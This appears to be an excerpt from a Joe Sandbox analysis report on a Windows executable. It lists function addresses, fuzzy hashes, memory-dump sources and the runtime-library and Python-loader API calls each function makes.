Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 5d4a17a707d31ee137a09be358ea6f9a4a5ced167c832bacbbe15f653786dc87
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 7591C832E1865189F794AFA5944027DBFA0BB44B88F944239DE2E7B6C4CF38D486C771

Function 00007FF7F3DE5628 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE5655
CreateFileW.KERNELBASE ref: 00007FF7F3DE5694
CloseHandle.KERNEL32 ref: 00007FF7F3DE56C9

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: 714d68a3b1f627837104b0eeca460a53cc4737b17a2adef9702c5448021356c5
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: C641DB22D1878283E398ABA09550379B761FB947A4F508334E67C17AD1DF7CE4E087A1

Function 00007FF7F3DDCC3C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DDCE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7F3DDCE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7F3DDCC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF7F3DDCCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7F3DDCD21

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 2d1483e0e7626e00bd2ea0e0d71504a7b278995b90a41101671c79cd4546b98d
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 4E314E20E0914341FFD4BBF598513B9B6819F41788FC44134EA2E6F2DBDE2CA44A82F1

Function 00007FF7F3DE013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE0180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE0277

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 6165f8212c5dfa928c3ec2d0f3d1e5d033899bd9e9cf81c847d43f4ef5a5fe5e
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: E251FC21B0924186E7ACBAE7940067AE991BF44BA4F884734DD7D6F7C5CE3CD481C6B2

Function 00007FF7F3DEC134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7F3DEC2CD), ref: 00007FF7F3DEC180
GetLastError.KERNEL32(?,?,?,?,?,00007FF7F3DEC2CD), ref: 00007FF7F3DEC18A

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 5c76688e600b584057507513bfef81433e2cd7577ee3d0ae3c97f81b026e4a56
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 8B110122B08B8281DBA4AB65A840169F761AB45FF0F944331EE7D1F7E8CE7CD0948781

Function 00007FF7F3DEA948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: cf2d705471936071a84183b19d9fe14e29fd9734a0b2c24156107a0782ec1dcb
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: 0DE04F50E0920342FF8D7BF258951389A515F98B00FC40130D83D6E2D1DD2CA88183B1

Function 00007FF7F3DEAB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7F3DEA9D5,?,?,00000000,00007FF7F3DEAA8A), ref: 00007FF7F3DEABC6
GetLastError.KERNEL32(?,?,?,00007FF7F3DEA9D5,?,?,00000000,00007FF7F3DEAA8A), ref: 00007FF7F3DEABD0

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 9f08c8840a6c9606848a49971f907b8bca6f74ac38dad4e15623bbf5e44a626c
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 0E21F610B1869341FBDD77E19480379AA929F84BA0F844339E93E6F7C1CE6CA4C143A2

Function 00007FF7F3DEBEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEBED4

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 6b70df8f31d8af1651971ab991e3c8b8c6c7454f081e529a6d60c38adaf927b3
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 8D41DC3291D24147EBBCABA5A540179FB60EB55B40F500331DAAE5B6D1CF2DF482CBB2

Function 00007FF7F3DD7F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7F3DD803A

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 2a0c301101eb402f2b31e30b1b20f502c945bb9c257f0de025133b49b19250c2
Instruction ID: efa39872125dee99157335fe45bcaf478e737cba8b045686d1e1c1bdc4d491cf
Opcode Fuzzy Hash: 2a0c301101eb402f2b31e30b1b20f502c945bb9c257f0de025133b49b19250c2
Instruction Fuzzy Hash: 3821A021B1875246EB95BAA278047BAE651BF45BC4FCC4430EE2D2F7C6CE7DE051C291

Function 00007FF7F3DEB93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEB9C2

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: f25f6201f0aba044079576883f04893202c440ab90d302f24165cf27d36e02d5
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: 0F317462E1D51285E7997B95884137DAE60AF40B90FC10335DD7D2B3D2CEBCB48187B2

Function 00007FF7F3DE5F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE5EF9

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: b58d7c0d78d1c6126c9d7c1a35204663b86478a60ec7d8633fbadbe7675dc44c
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 5911A421A1C64681EBA8BF91941017DEB61AF85FC0FC44231EA5C6FAD6CF3CE48047A2

Function 00007FF7F3DF6354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF6377

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 14259911fba10b205ab8575d644cddd9fc2360b8aaefc027a9b3d251bded4283
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 1121D732A0CA4286DBA5AF78D480379B6A0FB84B54F984234E77D5BAD9DF3DD4018B50

Function 00007FF7F3DE03BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE0410

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: c9f0d628ee82bd35dae614c88d92064c933dfc9787066245639ea2bcdb687a73
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 5D01A522A0874640E788EFA39900069EA95BF85FE0F884731DE7C2BBD6CE3CD4818351

Function 00007FF7F3DE7EFC Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE7F3A

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction ID: 9c982049cd8a64dd0455f80ce3915c47b44d8e7a55e474b2ed61f66df9756f68
Opcode Fuzzy Hash: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction Fuzzy Hash: C1015720E1D68340FFE87AA5A94117D9990AF407A0FC44375EA3D6A6C6EF2CE48142B2

Function 00007FF7F3DE8238 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE8251

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: 4b4e0036958f40a082c57f9eae376150ea58787ceb6798bf4fe1c32620904d10
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: 0EE0B650E1860786FBDD3AE4898217999205F95B40FC14634E9293E2C3DD6C69C567B3

Function 00007FF7F3DEEB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7F3DEB32A,?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A), ref: 00007FF7F3DEEBED

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: c89078cfa60f865cd5b11204600f2da3ca5bcc4f5ca5a1c7cd9a8af113623805
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: 95F04F54F0A21240FFDE76E558512B5DA905F98B40FCC4630C92FAE3C1DEACE4C082B2

Function 00007FF7F3DED5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7F3DE0C90,?,?,?,00007FF7F3DE22FA,?,?,?,?,?,00007FF7F3DE3AE9), ref: 00007FF7F3DED63A

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 4f944dcf989c4b4655febcb2b889ee8b29304b54bc750c377853fe1727b1abd1
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: A5F0FE10F0924B49FFD977F1584177999905F947A4F880734DD3E6E2C5DD6CA4C086B2

Non-executed Functions

Function 00007FF7F3DD5830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5840
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5852
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5889
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD589B
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58B4
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58C6
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58DF
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58F1
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD590D
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD591F
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD593B
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD594D
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5969
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD597B
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5997
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD59A9
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD59C5
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD59D7

Strings

PyMarshal_ReadObjectFromString, xrefs: 00007FF7F3DD5C6D, 00007FF7F3DD5C8F
PyConfig_SetBytesString, xrefs: 00007FF7F3DD5A17, 00007FF7F3DD5A39
Py_PreInitialize, xrefs: 00007FF7F3DD595F, 00007FF7F3DD5981
PyUnicode_Join, xrefs: 00007FF7F3DD5FA9, 00007FF7F3DD5FCB
PyUnicode_Replace, xrefs: 00007FF7F3DD5FD7, 00007FF7F3DD5FF9
PyErr_NormalizeException, xrefs: 00007FF7F3DD5AFD, 00007FF7F3DD5B1F
PyUnicode_FromString, xrefs: 00007FF7F3DD5F7B, 00007FF7F3DD5F9D
